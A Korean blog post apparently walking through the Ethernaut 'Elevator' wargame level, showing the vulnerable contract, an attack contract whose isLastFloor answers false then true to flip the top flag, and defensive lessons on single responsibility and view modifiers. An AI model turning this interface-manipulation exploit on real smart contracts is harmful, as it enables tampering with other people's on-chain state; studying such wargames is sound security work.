티스토리 뷰
1. 문제
빌딩의 꼭대기에 도달하라. (Elevator 컨트랙트의 top을 false에서 true로 바꿔라)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
2. 해법
Building building = Building(msg.sender);
Elevator 컨트랙트의 goTo 함수는 msg.sender를 Building 인터페이스를 구현한 컨트랙트로 사용합니다. 따라서 goTo 함수를 호출하는 것은 Building 인터페이스를 구현한 컨트랙트여야 하며, 이는 다음과 같이 정의할 수 있습니다.
contract FakeBuilding {
address public elevator;
uint256 count;
constructor(address _elevator) {
elevator = _elevator;
}
function attack() public {
Elevator instance = Elevator(elevator);
instance.goTo(10000000000000000000000);
}
function isLastFloor(uint) external returns (bool) {
count += 1;
return count != 1;
}
}
Elevator 컨트랙트의 top 값은 처음에는 boolean 타입의 기본값인 false로 초기화됩니다. 이 값을 true로 변경하려면 goTo 함수를 이용해야 합니다. goTo 함수는 Building 인터페이스를 구현한 컨트랙트의 isLastFloor 함수를 호출합니다. 그리고 이 값이 false일 경우 foor를 goTo 함수의 매개변수로 변경하고 다시 isLastFloor 함수를 호출하여 top에 할당합니다.
그렇다면 처음 isLastFloor 함수를 호출했을 때는 false를 반환하지만, 두 번째부터는 항상 true를 반환하게 한다면 어떨까요? top은 true가 될 것입니다. Building 인터페이스를 다음과 같이 구현하면 이게 가능해집니다.
uint256 count;
function isLastFloor(uint) external returns (bool) {
count += 1;
return count != 1;
}
실제로 컨트랙트를 배포하고 실행해 보겠습니다. 우선 Elevator 컨트랙트의 top값은 false입니다.
Remix IDE를 사용하여 컨트랙트를 배포합니다. 이때 생성자의 인수는 Elevator 컨트랙트의 주소입니다.
그리고 attack 함수를 호출해 줍니다.
트랜잭션이 컨펌되고 나서 top 값을 다시 확인해 보면 true로 바뀐 것을 확인할 수 있습니다.
인스턴스를 제출하고 마무리합니다.
3. 객체 지향 설계
이 문제에서 시사하고자 하는 바는 객체 지향 설계의 SOLID 원칙과 연관이 있습니다.
직관적인 이해를 위해 isLastFloor를 다음과 같이 수정해 보겠습니다.
uint256 floor;
function isLastFloor(uint) external returns (bool) {
floor += 1;
return floor != 1;
}
'isLastFloor'라는 메서드명을 통해 우리는 이것이 '인수로 넘겨준 층 수가 마지막 층인지 확인하는 함수구나'라고 직관적으로 예상할 수 있습니다. 그러나 실제로 구현해 놓은 동작은 특정 층인지 아닌지 확인하는 것뿐만 아니라 층을 하나 올라가는 동작까지 포함되어 있습니다. 심지어 매개변수로 전달한 값도 사용하지 않고 말이죠. 이렇게 예상하지 못한 동작들은 원래는 이럴 것이다라고 예상하고 이를 참고하는 다른 동작들까지 완전히 망가트리게 됩니다. 이러한 이유로 Elevator 함수가 공격을 당한 것입니다.
Solidity도 엄연한 객체 지향 언어입니다. 따라서 SOLID 원칙에 입각한 객체 지향 설계를 적용하는 것이 바람직합니다. 이 문제에서는 엄밀히 따져보자면 우선적으로 '단일 책임 원칙'이 위배되었다고 볼 수 있습니다. 함수가 이름에 걸맞지 않게 상태값을 읽어옴과 동시에 변경까지 하니, 동시에 여러 개의 책임을 가지고 있는 것이죠.
solidity에서는 함수에게 상태값을 읽어오기만 하거나 아예 상태값에 접근도 못하게 강제하는 내장된 기능이 존재합니다. 바로 상태 기반 제어자(state-based modifier)인 view와 pure입니다.
view 제어자가 붙은 함수는 상태값을 읽어오는 것만 가능하고 변경하는 것은 불가능합니다. pure 제어자가 붙은 함수는 상태를 읽어오는 것조차 불가능합니다. 그 외에는 기본적으로 상태를 읽고 변경하는 것이 모두 가능하지만, 상태를 읽어오기만 하거나 읽어오지도 않는 경우는 컴파일러에 의해 view 또는 pure 제어자를 명시하도록 강제됩니다.
이를 문제에 적용하여 Building 인터페이스를 다음과 같이 수정하면 상태값을 읽어올 수는 있으나, 변경하지 못하도록 할 수 있습니다.
interface Building {
function isLastFloor(uint) external view returns (bool);
}
4. 인터페이스는 안전을 보장하지 않는다
앞서 다루었다시피, 인터페이스는 구현체에 따라 천차만별로 동작하기 때문에 인터페이스에 의존하는 것은 안전이 보장되지 않습니다. 따라서 안전이 아주 중요한 경우(대부분이 이에 해당하지만)에는 인터페이스보다는 구체적으로 구현된 컨트랙트에 의존하는 것이 더 안전할 수 있습니다.
5. 결론
Solidity는 객체 지향 언어다! 좋은 설계에 대한 고민이 필요하다.
'Solidity > Hacking' 카테고리의 다른 글
[Ethernaut] 13. Gatekeeper One (1) | 2024.01.25 |
---|---|
[Ethernaut] 12. Privacy (1) | 2024.01.24 |
[Ethernaut] 10. Re-entrancy (0) | 2024.01.22 |
[Ethernaut] 9. King (0) | 2024.01.20 |
[Ethernaut] 8. Vault (0) | 2024.01.18 |